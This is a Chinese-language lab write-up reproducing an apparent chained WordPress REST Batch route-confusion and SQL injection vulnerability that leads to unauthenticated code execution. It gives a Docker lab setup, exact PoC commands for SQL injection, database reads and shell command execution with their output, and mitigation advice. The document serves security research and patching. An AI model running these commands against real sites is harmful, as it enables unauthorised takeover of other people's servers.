WordPress 最新组合漏洞本地复现：CVE-2026-63030 && CVE-2026-60137

漏洞概况：两个高危漏洞可链式利用实现未授权RCE

针对WordPress核心的两项严重漏洞，公开的PoC（概念验证）利用代码现已发布。这两个漏洞分别编号为 CVE-2026-63030 和 CVE-2026-60137，攻击者可将其链式利用，在未经验证的情况下对运行 6.9.x 与 7.0.x 版本的默认WordPress安装实现远程代码执行。

影响版本

WordPress 6.8.0-6.85

WordPress 6.9.0 – 6.9.4

WordPress 7.0.0 – 7.0.1

实验环境

漏洞原理简析

该组合漏洞的核心在于 WordPress REST API 的 Batch 请求处理逻辑。在漏洞版本中，Batch 子请求的路由匹配结果和校验结果可能在异常情况下发生错位。攻击者可以借助这种错位，让请求进入原本不应到达的处理路径。这样一来，两个结果列表的长度和顺序就不一致了。

后续 WordPress 再按数组下标去取结果时，就可能发生错位：

异常子请求 A → 校验数组产生结果 正常子请求 B → 路由数组产生结果

数组索引发生错位   ↓ 子请求 B 被错误地交给其他处理器   ↓ 触发后续 SQL 注入逻辑

复现步骤

1.Docker 部署 WordPress 靶场

创建实验目录，编写dockerfile

mkdir -p ~/labs/wp-lab
cd ~/labs/wp-lab
name: wp-lab

services:
db:
image: mysql:8.0
container_name: wp-lab-db
restart: unless-stopped
command: –default-authentication-plugin=mysql_native_password
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wp_password
MYSQL_ROOT_PASSWORD: root_password
volumes:
– db_data:/var/lib/mysql
networks:
– wpnet
healthcheck:
test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$$MYSQL_ROOT_PASSWORD –silent"]
interval: 5s
timeout: 3s
retries: 30
start_period: 15s

wordpress:
image: wordpress:7.0.1-php8.2-apache
container_name: wp-lab-web
restart: unless-stopped
depends_on:
db:
condition: service_healthy
ports:
– "127.0.0.1:8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wp_password
WORDPRESS_DB_NAME: wordpress
WORDPRESS_CONFIG_EXTRA: |
define( 'AUTOMATIC_UPDATER_DISABLED', true );
define( 'WP_AUTO_UPDATE_CORE', false );
define( 'FS_METHOD', 'direct' );
define( 'WP_DEBUG', true );
define( 'WP_DEBUG_LOG', true );
define( 'WP_DEBUG_DISPLAY', false );
volumes:
– wp_data:/var/www/html
networks:
– wpnet

wpcli:
image: wordpress:cli-php8.2
container_name: wp-lab-cli
restart: "no"
depends_on:
db:
condition: service_healthy
wordpress:
condition: service_started
user: "33:33"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wp_password
WORDPRESS_DB_NAME: wordpress
volumes:
– wp_data:/var/www/html
networks:
– wpnet
entrypoint: ["wp"]

volumes:
db_data:
wp_data:

networks:
wpnet:
driver: bridge

启动并初始化 WordPress（账号+密码）

#启动容器
docker compose up -d
查看容器状态
docker compose ps
#初始化WordPress
docker compose run –rm wpcli core install \\
–url='http://127.0.0.1:8080' \\
–title='wp-lab' \\
–admin_user='labadmin' \\
–admin_password='LabOnly_2026!ChangeMe' \\
–admin_email='lab@example.com' \\
–skip-email

查看 WordPress 版本，显示7.0.1，同时打开127.0.0.1:8080是否有效访问

docker compose run –rm wpcli core version

看到版本号+wordpress登录页，说明当前 WordPress 版本符合本次复现环境要求

2.准备 PoC 环境

本次使用开源 PoC：

https://github.com/Icex0/wp2shell-poc

POC整体利用链流程：

1. 检测 WordPress 指纹与版本 2. 探测 REST Batch API 行为 3. 判断是否存在 route-confusion 特征 4. 主动确认 SQL 注入 5. 通过 SQL 注入读取数据库信息 6. 通过 SQLi-to-admin bridge 创建临时管理员 7. 登录后台上传临时插件 8. 通过插件执行系统命令 9. 删除临时管理员并尝试清理插件

如果是通过 zip 包下载，解压后进入目录即可：

cd wp2shell-poc-main
#直接查看帮助信息，验证是否有python环境
python3 wp2shell.py –help

若实验输出下述，证明POC可用

usage: wp2shell [-h] [–version] {check,read,shell} …

WordPress REST batch route-confusion SQLi PoC associated with wp2shell.

positional arguments:
{check,read,shell}
check confirm the vulnerability on a URL, or scan a file of URLs
read read from the database via blind SQL injection
shell plugin shell; with credentials or via the pre-auth bridge

3.POC验证

基础检测

python3 wp2shell.py check http://127.0.0.1:8080

重点关注这一行，若存在，说明目标存在 Batch 路由混淆行为：

[+] VULNERABLE — batch route-confusion behavior detected.

SQL 注入确认

python3 wp2shell.py check http://127.0.0.1:8080 –confirm-sqli

重点关注这一行，若存在，说明SQL 注入链路已经确认成功：

[+] SQLi confirmed — UNION fake-post read returned data.

数据库读取验证，进一步验证利用

读取当前数据库名和数据库版本号

python3 wp2shell.py read http://127.0.0.1:8080 –query "SELECT DATABASE()"
python3 wp2shell.py read http://127.0.0.1:8080 –query "SELECT @@version"

此时已经验证：

命令执行验证

注意：该步骤会在本地靶场上传临时插件用于执行命令。 本文仅执行 id、uname 等无害命令，不执行反弹 Shell、持久化、下载远程脚本或破坏性命令。

python3 wp2shell.py shell http://127.0.0.1:8080 –cmd 'printf "WP2SHELL_OK\\n"; id; uname -a'

关键输出：

WP2SHELL_OK uid=33(www-data)

说明命令已经在 WordPress 容器中成功执行，执行身份为www-data

修复建议

1. 升级 WordPress Core

最有效的修复方式是升级 WordPress 到官方修复版本。

建议版本如下：

2.临时限制 REST Batch API

如果短时间内无法升级，可以先在反向代理、WAF 或安全网关中限制匿名访问 Batch API。

重点限制以下路径：

/wp-json/batch/v1 ?rest_route=/batch/v1

3.限制后台插件上传能力

本漏洞链后半部分依赖管理员权限上传插件，因此可以通过限制插件安装能力降低风险。

如果生产环境依赖后台更新插件，不建议长期启用 DISALLOW_FILE_MODS，可以改为通过 CI/CD、SFTP 或运维流程统一更新。

POC参考链接和文章链接

Icex0/wp2shell-poc: wp2shell (CVE-2026-63030 & CVE-2026-60137) – full RCE chain

【成功复现】WordPress组合漏洞命令执行(CVE-2026-63030&CVE-2026-60137) – 信息安全知识库

总结

本次实验通过 Docker 搭建了本地 WordPress 7.0.1 靶场，并使用开源 PoC 对 wp2shell 组合漏洞链进行了完整验证。从复现结果来看，该漏洞链并不是单一漏洞直接造成命令执行，而是由 REST Batch 路由混淆 与 author__not_in SQL 注入 组合触发。攻击链首先通过 Batch API 的路由错位问题，使匿名请求进入异常处理路径；随后触发 SQL 注入，进一步创建临时管理员账号；最后借助 WordPress 管理员的插件上传能力，实现 Web 服务用户权限下的命令执行。

⚠️ 声明：本文内容仅供安全研究和授权测试使用，严禁用于非法目的。